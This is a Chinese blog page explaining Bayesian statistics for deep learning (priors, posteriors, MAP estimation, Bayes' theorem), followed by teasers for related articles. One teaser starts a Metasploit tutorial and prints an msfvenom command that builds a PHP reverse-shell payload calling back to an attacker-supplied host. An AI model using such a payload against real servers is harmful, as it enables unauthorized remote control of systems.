当前位置: 首页 > 编程日记 > 正文

深度学习中的贝叶斯统计简介

贝叶斯用概率反映知识状态的确定性程度。数据集能够被直接观测到,因此不是随机的。另一方面,真实参数θ是未知或不确定的,因此可以表示成随机变量。在观察到数据前,我们将θ的已知知识表示成先验概率分布(prior probability distribution),p(θ)(有时简单地称为”先验”)。

相对于最大似然估计,贝叶斯估计有两个重要区别:(1)、不像最大似然方法预测时使用θ的点估计,贝叶斯方法使用θ的全分布。(2)、是由贝叶斯先验分布造成的。先验能够影响概率质量密度朝参数空间中偏好先验的区域偏移。实践中,先验通常表现为偏好更简单或更光滑的模型。对贝叶斯方法的批判认为先验是人为主观判断影响预测的来源。

当训练数据很有限时,贝叶斯方法通常泛化得更好,但是当训练样本数目很大时,通常会有很大的计算代价。

原则上,我们应该使用参数θ的完整贝叶斯后验分布进行预测,但单点估计常常也是需要的。希望使用点估计的一个常见原因是,对于大多数有意义的模型而言,大多数涉及到贝叶斯后验的计算是非常棘手的,点估计提供了一个可行的近似解。我们仍然可以让先验影响点估计的选择来利用贝叶斯方法的优点,而不是简单地回到最大似然估计。一种能够做到这一点的合理方式是选择最大后验(Maximum A Posteriori, MAP)点估计。MAP估计选择后验概率最大的点(或在θ是连续值的更常见情况下,概率密度最大的点)。

MAP贝叶斯推断的优势是能够利用来自先验的信息,这些信息无法从训练数据中获得。该附加信息有助于减少最大后验点估计的方差(相比于ML估计)。然而,这个优点的代价是增加了偏差。

许多正规化估计方法,例如权重衰减正则化的最大似然学习,可以被解释为贝叶斯推断的MAP近似。MAP贝叶斯推断提供了一个直观的方法来设计复杂但可解释的正则化项。例如,更复杂的惩罚项可以通过混合高斯分布作为先验得到,而不是一个单独的高斯分布。

贝叶斯定理(Bayes’ theorem)是概率论中的一个定理,它跟随机变量的条件概率以及边缘概率分布有关。在有些关于概率的解说中,贝叶斯定理能够告知我们如何利用新证据修改已有的看法。

通常,事件A在事件B(发生)的条件下的概率,与事件B在事件A(发生)的条件下的概率是不一样的;然而,这两者是有确定的关系的,贝叶斯定理就是这种关系的陈述。贝叶斯公式的一个用途在于通过已知的三个概率函数推出第四个。

作为一个普遍的原理,贝叶斯定理对于所有概率的解释是有效的;然而,频率主义者和贝叶斯主义者对于在应用中,某个随机事件的概率该如何被赋值,有着不同的看法:频率主义者根据随机事件发生的频率,或者总体样本里面的发生的个数来赋值概率;贝叶斯主义者则根据未知的命题来赋值概率。这样的理念导致贝叶斯主义者有更多的机会使用贝叶斯定理。

贝叶斯定理是关于随机事件A和B的条件概率的一则定理:

其中P(A|B)是在B发生的情况下A发生的可能性。

在贝叶斯定理中,每个名词都有约定俗成的名称:

(1)、P(A|B)是已知B发生后A的条件概率,也由于得自B的取值而被称作A的后验概率;

(2)、P(B|A)是已知A发生后B的条件概率,也由于得自A的取值而被称作B的后验概率;

(3)、P(A)是A的先验概率(或边缘概率),之所以称为”先验”是因为它不考虑任何B方面的因素;

(4)、P(B)是B的先验概率或边缘概率。

按这些术语,贝叶斯定理可表述为:后验概率=(相似度 * 先验概率) / 标准化常量。也就是说,后验概率与先验概率和相似度的乘积成正比。另外,比例P(B|A)/P(B)也有时被称作标准相似度(standardized likelihood),贝叶斯定理可表述为:后验概率=标准相似度 * 先验概率。

贝叶斯概率(Bayesian probability)是由贝叶斯理论所提供的一种对概率的解释,它采用将概率定义为某人对一个命题信任的程度的概念。贝叶斯理论同时也建议贝叶斯定理可以用作根据新的信息导出或者更新现有的置信度的规则。

英国学者托马斯·贝叶斯在《论有关机遇问题的求解》中提出一种归纳推理的理论,后被一些统计学者发展为一种系统的统计推断方法,称为贝叶斯方法。采用这种方法作统计推断所得的全部结果,构成贝叶斯统计的内容。认为贝叶斯方法是唯一合理的统计推断方法的统计学者,组成数理统计学中的贝叶斯学派。

贝叶斯统计中的两个基本概念是先验分布和后验分布。

先验分布:它是总体分布参数θ的一个概率分布。贝叶斯学派的根本观点,是认为在关于θ的任何统计推断问题中,除了使用样本X所提供的信息外,还必须对θ规定一个先验分布,它是在进行推断时不可或缺的一个要素。贝叶斯学派把先验分布解释为在抽样前就有的关于θ的先验信息的概率表述,先验分布不必有客观的依据,它可以部分地或完全地基于主观信念。

后验分布:根据样本X的分布及θ的先验分布,用概率论中求条件概率分布的方法,可算出在已知X的条件下,θ的条件分布。因为这个分布是在抽样以后才得到的,故称为后验分布。贝叶斯学派认为:这个分布综合了样本X及θ先验分布所提供的有关的信息。抽样的全部目的,就在于完成由先验分布到后验分布的转换。

贝叶斯推断方法的关键在于所作出的任何推断都必须也只须根据后验分布,而不能再涉及X的样本分布。

贝叶斯学派与频率学派争论的焦点在于先验分布的问题。所谓频率学派是指坚持概率的频率解释的统计学家形成的学派。贝叶斯学派认为先验分布可以是主观的,它没有也不需要有频率解释。而频率学派则认为,只有在先验分布有一种不依赖主观的意义,且能根据适当的理论或以往的经验决定时,才允许在统计推断中使用先验分布,否则就会丧失客观性。

以上内容主要摘自: 《深度学习中文版》 和 维基百科

GitHub:https://github.com/fengbingchun/NN_Test

相关文章:

少走弯路:强烈推荐的TensorFlow快速入门资料(可下载)

(图片付费下载自视觉中国)作者 | 黄海广来源 | 机器学习初学者(ID: ai-start-com)知识更新非常快,需要一直学习才能跟上时代进步,举个例子:吴恩达老师在深度学习课上讲的TensorFlow使用&#xf…

有状态bean与无状态bean

在学习bean的作用域的时候,了解了这个问题。 bean5种作用域:分别是:singleton、prototype、request、session、gloabal session 接下来就讲一下有状态bean与无状态bean: 有状态会话bean :每个用户有自己特有的一个实例…

从Developer Removed From Sale 回到可下载状态的方法

2019独角兽企业重金招聘Python工程师标准>>> 如果你不小心点了”Remove“ 按钮,App的状态会变成"Developer Removed From Sale ",这时,即使更新应用也无法改变这个状态。想要让App恢复可下载状态,你需要尝试…

朴素贝叶斯分类器简介及C++实现(性别分类)

贝叶斯分类器是一种基于贝叶斯定理的简单概率分类器。在机器学习中,朴素贝叶斯分类器是一系列以假设特征之间强(朴素)独立下运用贝叶斯定理为基础的简单概率分类器。朴素贝叶斯是文本分类的一种热门(基准)方法,文本分类是以词频为特征判断文件所属类别或…

你当年没玩好的《愤怒的小鸟》,AI现在也犯难了

(图片源自百度百科)作者 | Ekaterina Nikonova,Jakub Gemrot译者 | Tianyu出品 | AI科技大本营(ID:rgznai100)现在说起《愤怒的小鸟》游戏,要把人的回忆一下拉扯到差不多十年前了。它是一款当时一经推出就广…

msf反弹shell

今天回顾了一下msf反弹shell的操作&#xff0c;在这里做一下记录和分享。(&#xffe3;︶&#xffe3;)↗ 反弹shell的两种方法 第一种Msfvenom实例&#xff1a; 1、msfconsole    #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST<Your IP Address> LPOR…

mysql 5.5半同步复制功能部署

安装、配置Semi-sync Replication在两台主机上安装好MySQL5.5&#xff0c;编译好的插件在目录CMAKE_INSTALL_PREFIX/lib/plugin下&#xff08;默认是/usr/local/mysql/lib/plugin&#xff09;。例如这里编译是指定CMAKE_INSTALL_PREFIX为/home/mysql/mysql&#xff0c;则有&…

Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤

目前OpenCV无论是2.4.x还是最新的3.3.0版本&#xff0c;默认支持的都是Python 2.7版本。这里介绍下如何使OpenCV 3.3.0支持Python 3.6.2的操作步骤&#xff1a;1. 从 https://github.com/opencv/opencv/releases/tag/3.3.0 下载3.3.0.zip或opencv-3.3.0-vc14.exe&#xff0c;…

manage.py命令

一、manage.py命令选 manage.py是每个Django项目中自动生成的一个用于管理项目的脚本文件&#xff0c;需要通过python命令执行。manage.py接受的是Django提供的内置命令。 内置命令包含 checkdbshelldiffsettingsflushmakemigrationsmigraterunservershellstartappstartproject…

图灵奖得主Bengio再次警示:可解释因果关系是深度学习发展的当务之急

&#xff08;图片付费下载自视觉中国&#xff09;作者 | Will Knight译者 | Monanfei来源 | Wired出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;深度学习擅长在大量数据中寻找模式&#xff0c;但无法解释它们之间的关系。图灵奖获得者 Yoshua Bengio 希望改变这一状…

解决jQuery不同版同时引用的冲突

今天研发的同事在开发一个新jQuery插件时&#xff0c;遇到一个揪心的问题。平台以前使用的 jQuery版本是1.2.6&#xff0c;偶&#xff0c;天啊&#xff01;这是古代的版本啊&#xff01; 由于很多功能基于老版本&#xff0c;不能删除啊&#xff0c;同志们都懂的&#xff01; 于…

TensorFlow中的计算图

作者 | stephenDC来源 | 大数据与人工智能&#xff08;ID:ai-big-data&#xff09;1 什么是计算图&#xff1f;一个机器学习任务的核心是模型的定义以及模型的参数求解方式&#xff0c;对这两者进行抽象之后&#xff0c;可以确定一个唯一的计算逻辑&#xff0c;将这个逻辑用图表…

java设计模式-适配器模式

模式导读: 每个人都有自己不同的需要&#xff0c;每个人都有自己能够接受的不同方式&#xff0c;就像是为满足现在快速度发展的社会&#xff0c;几乎人人离不开手机的时代&#xff0c;我们也许会碰到在外出行手机电量不足的情况&#xff0c;这个时候如果你在车站&#xff0c;你…

Ubuntu 14.04 64位上安装Valgrind 3.13.0 操作步骤

关于Valgrind的介绍和使用可以参考&#xff1a; http://blog.csdn.net/fengbingchun/article/details/50196189 在Ubuntu 14.04上可以通过以下命令直接安装Valgrind&#xff0c;直接通过命令安装的版本是3.10.1&#xff0c;如下图&#xff0c;有些较老&#xff0c;目前最新版本…

粗谈Android中的对齐

在谈这个之前先啰嗦几个概念。 基线&#xff1a;书写英语单词时为了规范书写会设有四条线&#xff0c;从上至下第三条就是基线。基线对齐主要是为了两个控件中显示的英文单词的基线对齐&#xff0c;如下所示&#xff1a; Start&#xff1a;在看API的时候经常会有Start对齐&…

OpenCV3.3中逻辑回归(Logistic Regression)使用举例

OpenCV3.3中给出了逻辑回归(logistic regression)的实现&#xff0c;即cv::ml::LogisticRegression类&#xff0c;类的声明在include/opencv2/ml.hpp文件中&#xff0c;实现在modules/ml/src/lr.cpp文件中,它既支持两分类&#xff0c;也支持多分类&#xff0c;其中&#xff1a;…

多数编程语言里的0.1+0.2≠0.3?

作者 | Parul Malhotra译者 | Raku出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;我们从小就被教导说0.10.20.3&#xff0c;但是在奇妙的计算机编程世界里面&#xff0c;事情变得不一样了。我最近在用JavaScript编程&#xff0c;正在阅读数据类型的时候&#xff0c;…

iOSSharing #9 | 2019-05-19

目录 1. setNeedsLayout、layoutIfNeeded与layoutSubviews区别&#xff1f; 2. UIView与CALayer的区别&#xff1f; 3. loadView什么时候被调用&#xff1f;它有什么作用&#xff1f;默认实现是怎么样的&#xff1f; 4. UIViewController的完整生命周期&#xff1f; 5. UIView动…

分表处理(三)

一、概述分表是个目前算是比较炒的比较流行的概念&#xff0c;特别是在大负载的情况下&#xff0c;分表是一个良好分散数据库压力的好方法。首先要了解为什么要分表&#xff0c;分表的好处是什么。我们先来大概了解以下一个数据库执行SQL的过程&#xff1a;接收到SQL –> 放…

逻辑回归(Logistic Regression)简介及C++实现

逻辑回归(Logistic Regression)&#xff1a;该模型用于分类而非回归&#xff0c;可以使用logistic sigmoid函数( 可参考&#xff1a;http://blog.csdn.net/fengbingchun/article/details/73848734 )将线性函数的输出压缩进区间(0,1)&#xff1a; p(y1| x;θ)σ(θTx).逻辑回归是…

CVPR 2019论文阅读:Libra R-CNN如何解决不平衡对检测性能的影响?

作者 | 路一直都在出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;Paper link&#xff1a;https://arxiv.org/pdf/1904.02701.pdfCode link&#xff1a;https://github.com/OceanPang/Libra_R-CNNAbstract在目标检测中&#xff0c;人们更关注的往往是模型结构&#x…

实现nginx上配置免费证书Let's Encrypt

Lets Encrypt 的免费证书有效期为三个月&#xff0c;不过可以免费续期&#xff0c;写一个脚本定期更新即可。 准备一台nginx 服务器 &#xff0c;将以下三个附件上传到你的nginx服务器。 1、下载脚本文件&#xff0c;wget https://raw.githubusercontent.com/xdtianyu/scripts/…

深入解析Windows操作系统笔记——CH1概念和术语

1.概念和工具 本章主要介绍Windows操作系统的关键概念和术语 1.概念和工具... 1 1.1操作系统版本... 1 1.2基础概念和术语... 2 1.2.1Windows API2 1.2.2 服务、函数和例程... 3 1.2.3 进程、线程和作业... 4 1.2.3.1 进程... 4 1.2.3.2 线程... 4 1.2.3.3 虚拟地址描述符... 4…

C++/C++11中std::exception的使用

std::exception&#xff1a;标准异常类的基类&#xff0c;其类的声明在头文件<exception>中。所有标准库的异常类均继承于此类&#xff0c;因此通过引用类型可以捕获所有标准异常。 std::exception类定义了无参构造函数、拷贝构造函数、拷贝赋值运算符、一个虚析构函数和…

技术不错的程序员,为何面试却“屡战屡败”

为何很多有不少编程经验&#xff0c;技术能力不错的程序员&#xff0c;去心仪公司面试时却总是失败&#xff1f;至于失败的原因&#xff0c;可能很多人都没意识到过。01想要通关面试&#xff0c;千万别让数据结构拖了后腿很多公司&#xff0c;比如 BAT、Google、Facebook&#…

FastJson 转换 javaBean 时 null 值被忽略都问题

[toc] 问题 当 JavaeBean 中某个属性值为 null 时&#xff0c;转换为 JSONObject 对象或者 json 字符串时&#xff0c;该属性值被忽略。如何让不管值是否为 null&#xff0c;转化后该属性还存在&#xff0c;只是值为 null。 情况演示 class St {private String sid;private Str…

来玩Play框架07 静态文件

作者&#xff1a;Vamei 出处&#xff1a;http://www.cnblogs.com/vamei 欢迎转载&#xff0c;也请保留这段声明。谢谢&#xff01; Play框架的主要功能是提供动态响应的内容。但一个网络项目中必然有大量的静态内容&#xff0c;比如图片、Javascript文件、CSS文件等。我下面介绍…

C++/C++11中std::runtime_error的使用

std::runtime_error&#xff1a;运行时错误异常类&#xff0c;只有在运行时才能检测到的错误&#xff0c;继承于std::exception&#xff0c;它的声明在头文件<stdexcept>中。std::runtime_error也用作几个运行时错误异常的基类&#xff0c;包括std::range_error(生成的结…

估值被砍700亿美元后,Waymo发重磅公开信:即将推出全自动驾驶打车服务

&#xff08;图片源自 Waymo 官网&#xff09;编译 | 夕颜出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;近日&#xff0c;据 Reddit 盛传的一封电子邮件副本显示&#xff0c;Alphabet 旗下的自动驾驶汽车公司 Waymo 已经向其自动驾驶服务的用户发送了一封电子邮件&…

Swoft 2 Beta 发布,基于 Swoole 的云原生协程框架

Swoft 是首个基于 Swoole 原生协程的框架&#xff0c;从开发到发布据今已有2年多。 1.x 发布以来&#xff0c;已有大量的开发人员和企业使用&#xff0c;得到了大家的认可。从去年11月份开始&#xff0c;将近半年的时间从零开始&#xff0c;底层吸取之前经验&#xff0c;基于 S…